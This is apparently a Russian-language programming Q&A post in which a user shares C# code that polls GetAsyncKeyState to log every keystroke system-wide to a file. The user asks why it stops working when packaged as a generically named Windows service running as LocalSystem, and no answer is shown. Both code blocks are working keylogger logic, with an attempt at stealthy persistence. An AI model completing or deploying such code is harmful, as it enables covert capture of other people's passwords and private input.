C # GetAsyncKeyState в службе Windows - PullRequest
       0

C # GetAsyncKeyState в службе Windows

0 голосов
/ 24 декабря 2018

Я написал следующий EXE-файл на C #:

namespace Service
{
    class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Main(string[] args)
        {
            StartLogging();
        }

        static void StartLogging()
        {
            while (true)
            {
                //sleeping for while, this will reduce load on cpu
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        using (StreamWriter outputFile = new StreamWriter("C:\\Output.txt", true))
                        {
                            outputFile.WriteLine((Keys)i);
                        }
                        break;
                    }
                }
            }
        }
    }
}

Эта программа записывает каждое событие клавиатуры, независимо от того, в какой программе.Он работает нормально.

Затем я попытался поместить это в службу Windows, и она не работает.Следующий код - моя служба:

namespace Dienst
{
    public class Service : ServiceBase
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void StartLogging()
        {
            while (true)
            {
                //sleeping for while, this will reduce load on cpu
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        using (StreamWriter outputFile = new StreamWriter("C:\\TestNeu.txt", true))
                        {
                            outputFile.WriteLine((Keys)i);
                        }
                        break;
                    }


                }
            }
        }

        static void Main()
        {
            Service.Run(new Service());
        }

        protected override void OnStart(string[] args)
        {
            base.OnStart(args);
            StartLogging();
        }
        protected override void OnContinue()

        {
            base.OnContinue();
        }
        protected override void OnStop()
        {
            base.OnStop();
        }
    }


    [RunInstaller(true)]
    public class Installation : Installer
    {
        private ServiceInstaller service;
        private ServiceProcessInstaller process;

        public Installation()
        {
            service = new ServiceInstaller();
            process = new ServiceProcessInstaller();

            service.ServiceName = "Service1";
            service.DisplayName = "Service1";
            service.Description = "WindowsService";

            process.Account = ServiceAccount.LocalSystem;

            Installers.Add(process);
            Installers.Add(service);
        }
    }
}

Результат от GetAsyncKeyState(i) всегда равен 0. Может кто-нибудь мне помочь?Я не знаю, потому что этот код как Сервис не работает.И нет, я не хочу писать кейлоггер, только если кто-то так думает.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...